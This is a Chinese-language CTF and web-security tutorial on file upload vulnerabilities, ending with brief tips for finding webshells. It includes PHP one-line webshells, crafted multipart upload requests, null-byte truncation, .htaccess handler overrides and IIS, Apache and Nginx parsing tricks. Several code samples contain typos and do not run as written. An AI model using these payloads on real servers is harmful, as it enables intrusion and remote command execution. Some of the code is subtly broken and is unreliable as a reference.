在CTF中,通常文件上传成功后,服务器会返回flag;或者在混战模式下,通过上传木马文件,getshell
文件上传漏洞:上传文件时,如果服务器脚本语言,未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件,包括脚本文件Webshell
Webshell:通过网站端口取得对网站服务器某种程度上的操作权限。
Webshell原理
<?php @eva1($_POST['c']);?>
@:抑制错误信息即使有错误也不返回。
eval:把字符串作为PHP代码执行。
$_POST[‘c’]:POST接收一个c=xxxx的指令。c是可以自行更改的。
上传文件检测流程
客户端检测
function CheckFileType()
{
var objButton=document.getElementByld("Button1");//上传按钮
var objFileUpload=document.getElementByld("FileUpload1");
var objMSG=document.getElementByld("msg");//显示提示信息用DIV
var FileName=new String(objFileUpload.value);//文件名
var extension=new String(FilieName.substring(FileName.lastIndexOf(".")+1,FileName.length));//文件扩展名
if(extension=="gif"||extension=="gif")//可以另行添加扩展名
{
objButton.disabled=false;//启用上传按钮
objMSG.innerHTML="文件检测通过";
}
else
{
objButton.disabled=true;//禁用上传按钮
objMSG.innerHTML="请选择正确的文件上传";
}
}
服务端检测
- 服务端目录路径检测
- 服务端文件扩展名检测
- 服务端MIME类型检测
- 服务端文件内容检测
POST /web/upload/upload.php?
Command=FileUpload&Type=lmage&CurrentFolder=1.php%00.gif HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=------41184676334
Content-Length:472
Connection: close---------------41184676334
Content-Disposition: form-data; name="dir"
-----------------41184676334
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/gif
GIF89a
<? php eval($_POST['hacker'])? >
----------------41184676334
客户端检测
客户端JavaScript检测(一般只检测扩展名)
判断方式:
- 没有经过代理(BP)就可以证明客户端是JavaScript检测。
- 浏览器加载文件。但还没有点击上传按钮,就会弹出对话框提示文件类型不对之类
绕过方式
- 配置BP代理进行抓包,然后再将文件名shell.jpg改为shell.php
- 上传页面,审查元素,修改/禁止JavaScript检测函数
服务端检测
$_FILES对象
php通过$_FILES对象读取文件,通过下列几个属性
- $_FILES[‘file’][‘name’]被上传文件的名称
- $_FILES[‘file’][‘type’]被上传文件的类型
- $_FILES[‘file’][‘size’]被上传文件的大小(字节)
- $_FILES[‘file’][‘tmp_name’]被上传文件在服务器保存的临时文件名,可以在php.ini中指定,通常位于临时目录中
检测方式
- MIME类型检测 //检测content-type字段(image/gif)
- 文件内容检测 //检测文件幻数、相关信息
- 目录路径检测 /检测跟path参数相关的内容
- 文件扩展名检测 //检测跟文件extension相关的内容(blacklist,whitelist)
MIME类型检测
测试代码:
<? php
if($_FILES['file']['type']!="image/gif"){
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir='./';
$uploadfile=$uploaddir.basename($_FILES['file']['name']); if(move_uploaded_file($_FILES['file']['tmp_name'],$uploadfile)){
echo "File is valid, and was successfully uploaded.\n";
}
else{
echo"File uploading failed.\n";
}
? >
绕过方法:
使用代理工具BP抓包修改Content-Type
POST /web/upload/upload.php?
Command=FileUpload&Type=lmage&CurrentFolder=1.php%00.gif HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=------41184676334
Content-Length:472
Connection: close---------------41184676334
Content-Disposition: form-data; name="dir"
-----------------41184676334
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/gif
GIF89a
<? php eval($_POST['hacker'])? >
----------------41184676334
文件内容检测
文件幻数检测
文件头标识
JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61(GIF89a)
PNG:89 50 4E 47
绕过方法:
在文件幻数后加上一句话木马
文件相关信息检测
一般是检查图片文件的大小、尺寸之类的信息
绕过方法:
- 伪造好文件幻数,在后面添加一句话木马,再添加其他内容增大文件大小。
- 通常在一个结构完整的文件,进行代码注入上传即可
目录路径检测
测试代码:漏洞:CVE-2015-2348
<? php
error_reporting(0);
if(isset($_POSTt['upload'])){
$ext_arr = array('flv','swt','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
$file_ext = substr($_FILES['file']['name'],strpos($_FILES['file']['name'],".")+1);
if(in_array($file_ext,$file_arr)){
$tempFile=$_FILES['fi1e']['tmp_name'];
//这里的SREQUEST['Jieduan']造成可以利用截断上传
$targePath=$_SERVER['DOCUMENT_ROOT'].$_REQUESTt['jieduan'].rand(10,99).date('YmdHis').".".$file_ext;
if(move_uploaded_file($tempFile,$targePath)){
echo'上传成功'.<br>;
echo'路径'.$targePath;
}
else
echo("上传失败");
}
else
echo("上传失败");
}
move_upload_file检测$_FILE指定的文件是否合法,参数有两个$tempFile、$targePath
前者为临时文件;后者为移动的最终路径,其中_REQUEST参数用户可控,可以添加截断%00
//例如如下代码 不会创建名为file.php\x00.jpg 而会创建file.php
move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg");
$_FILE[‘xxx’][‘name’]不受影响
绕过方式:
BP抓包,修改可控变量,使用空字符截断 %00 0x00 chr(0)
POST /web/upload/upload.php? jieduan=1.php%00 HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=------41184676334
Content-Length:472
Connection: close---------------41184676334
Content-Disposition: form-data; name="dir"
-----------------41184676334
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/gif
GIF89a
<? php eval($_POST['hacker'])? >
----------------41184676334
文件扩展名检测
Blacklist:
php php2 hph3 php4 php5 pht asp aspx ascx jsp bat exe dll等
绕过方法:
- 尝试未写入黑名单的后缀名。
- IIS默认支持解析.asp .cdx .asa .cer等
- 尝试大小写绕过pHp
- shell.php. 或者shell.php_ //下划线表示空格 Linux/Unix不支持 IIS支持 在bp里修改绕过验证后 会被windows系统自动去掉点和空格
- 空字符截断 %00 0x00 chr(0)
- .htaccess 文件攻击(Apache)
我们可以上传一个自定义的.htaccess文件,代码意思为统一执行包含字符串a.jpg的任意文件,再上传a.jpg文件的一句话木马
<FilesMatch "a.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
Whitelist
jpg png gif doc docx xls等
绕过方式:
- IIS默认支持解析.asp .cdx .asa .cer等
- 空字符截断 %00 0x00 chr(0)
一些其他的绕过方法
IIS5.x-6.x版本的解析漏洞
- 目录解析(6.0)
URL:www.xxx.com/xx.asp/xx.jpg
原理:服务器默认会把.asp,asa目录下的文件都解析成asp文件。 - 文件解析
URL:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析分号后面的内容,因此xx.asp;.jpg便被解析成asp文件。 - 解析文件类型
IIS6.0默认的可执行文件除了asp还包含这三种:test.asa、test.cer、test.cdx
Apache解析漏洞
- 文件解析
URL:test.php.owf.rar
原理:Apache解析文件的规则是从右到左开始判断解析 rar owf无法识别就会被解析成test.php 其余配置问题
- 配置1:AddHandler php5-script.php 只要文件名中包含php 字符串 都会以php文件执行
形式:test2.php.jpg - 配置2:AddType application/x-httpd-php.jpg
形式:即使扩展名是jpg,一样能以php方式执行。
- 配置1:AddHandler php5-script.php 只要文件名中包含php 字符串 都会以php文件执行
Nginx解析漏洞
都是由PHP CGI解析问题造成;FastCGI
必须开启。
利用方法:
将一张图和一个后门代码的文本文件合并
copy test.jpg/b + test.txt/a test.jpg
test.txt内容
<? php
fputs(fopen("shell.php","w"),'<? php eval($_POST["cmd"]);?>')
? >
上传test.jpg文件后 访问URL test.php文件不存在 php递归向前解析 把test.jpg当作php脚本解析 就会在当前目录下生成shell.php木马文件
www.xxxx.com/UploadFiles/image/test.jpg/test.php
www.xxxx.com/UploadFiles/image/test.jpg%00.php
www.xxxx.com/UploadFiles/image/test.jpg/%20\test.php
恶意文件排查
Webshell检测
Linux命令查找可疑文件
find-mmin n-name*.php/var/www/html/查找web目录中最后N分钟被改变文件数据的PHP文件(modify attributes)
access time 表示最后一次访问(仅仅是访问,没有改动)文件的时间
modify time 表示最后一次修改文件的时间
change time 表示最后一次对文件属性改变的时间,包括权限,大小,属性等等。
2)find. -name “*.php” -print0 | xargs -0 grep -rn ‘shell_exec’
查找所有php文件中是否有shell_exec字符
3)grep -i keyword “eval”
搜索当前目录及子目录中所有的文件,若遇到关键字eval,则打印包含该关键字的整行内容。
建议:可查找webshell常用函数eval、assert、base64_encode/base64_decode、gzcompress/gzuncompress等。